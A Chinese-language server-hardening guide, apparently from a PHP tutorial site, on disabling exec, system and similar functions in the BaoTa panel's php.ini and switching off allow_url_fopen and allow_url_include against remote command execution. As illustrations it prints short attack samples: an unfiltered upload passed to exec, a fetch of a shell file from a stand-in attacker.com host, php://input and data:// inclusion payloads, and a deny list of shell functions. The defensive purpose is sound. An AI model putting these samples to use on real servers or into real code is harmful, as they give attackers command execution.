必须禁用exec、system等函数,这是防rce的第一道防线;宝塔默认在php.ini中通过disable_functions堵住php调用系统命令的路径,并需同步关闭allow_url_fopen和allow_url_include。

有必要,而且是上线前必须做的基础动作——不是“建议”,而是防住远程命令执行(RCE)的第一道铁闸。
为什么宝塔默认禁用 exec、system 等函数?
宝塔默认在 /www/server/php/{版本}/etc/php.ini 中配置了 disable_functions,核心目标是堵死攻击者通过 PHP 脚本调用系统命令的路径。比如:
- 一个未过滤的文件上传点 +
exec("unzip ".$_FILES['f']['tmp_name'])→ 直接执行任意命令 - CMS 模板注入 +
eval()或assert()→ 动态执行恶意代码 -
proc_open()配合pcntl_exec()可绕过普通禁用,在 FPM 场景下尤其危险
这些函数本身无害,但一旦被用户输入触发,就等于把服务器控制权交出去。
怎么安全地修改宝塔里的 disable_functions?
别直接删光,也别只改全局配置——得按需分层处理:
立即学习“PHP免费学习笔记(深入)”;
- 登录宝塔 →「软件管理」→ 找到 PHP 8.4(或其他版本)→「设置」→「配置修改」→ 编辑
/www/server/php/84/etc/php.ini - 找到
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,...这一行,删掉你业务真正需要的函数(如仅需proc_open,就只删它和前后多余逗号) - 改完必须点「重启」PHP 服务,否则不生效;CLI 和 Web 是两套环境,用
/www/server/php/84/bin/php -r "echo function_exists('proc_open') ? 'ok' : 'no';"单独验证 CLI - 若只是某个网站要用,别动全局配置:进该站点「设置」→「配置文件」→ 在 PHP 配置片段里加
disable_functions =(留空)或精确列出保留项
光禁函数还不够,这两个开关也得关
allow_url_fopen 和 allow_url_include 是独立于函数禁用的另一类高危通道:
-
allow_url_fopen = Off:防止file_get_contents("http://attacker.com/shell.txt")远程加载恶意内容 -
allow_url_include = Off:彻底禁掉include("php://input")或require("data://text/plain,<?php phpinfo(); ?>")这类协议包含漏洞 - 这两项在同一个
php.ini文件里搜就能改,改完同样要重启 PHP
最常被忽略的一点:禁用函数后,调用会返回 NULL 并抛出 E_WARNING,但很多老程序不检查返回值,直接报错或静默失败。上线前务必用真实业务流程跑一遍,别只测 php -r "echo exec('id');" 就算完事。











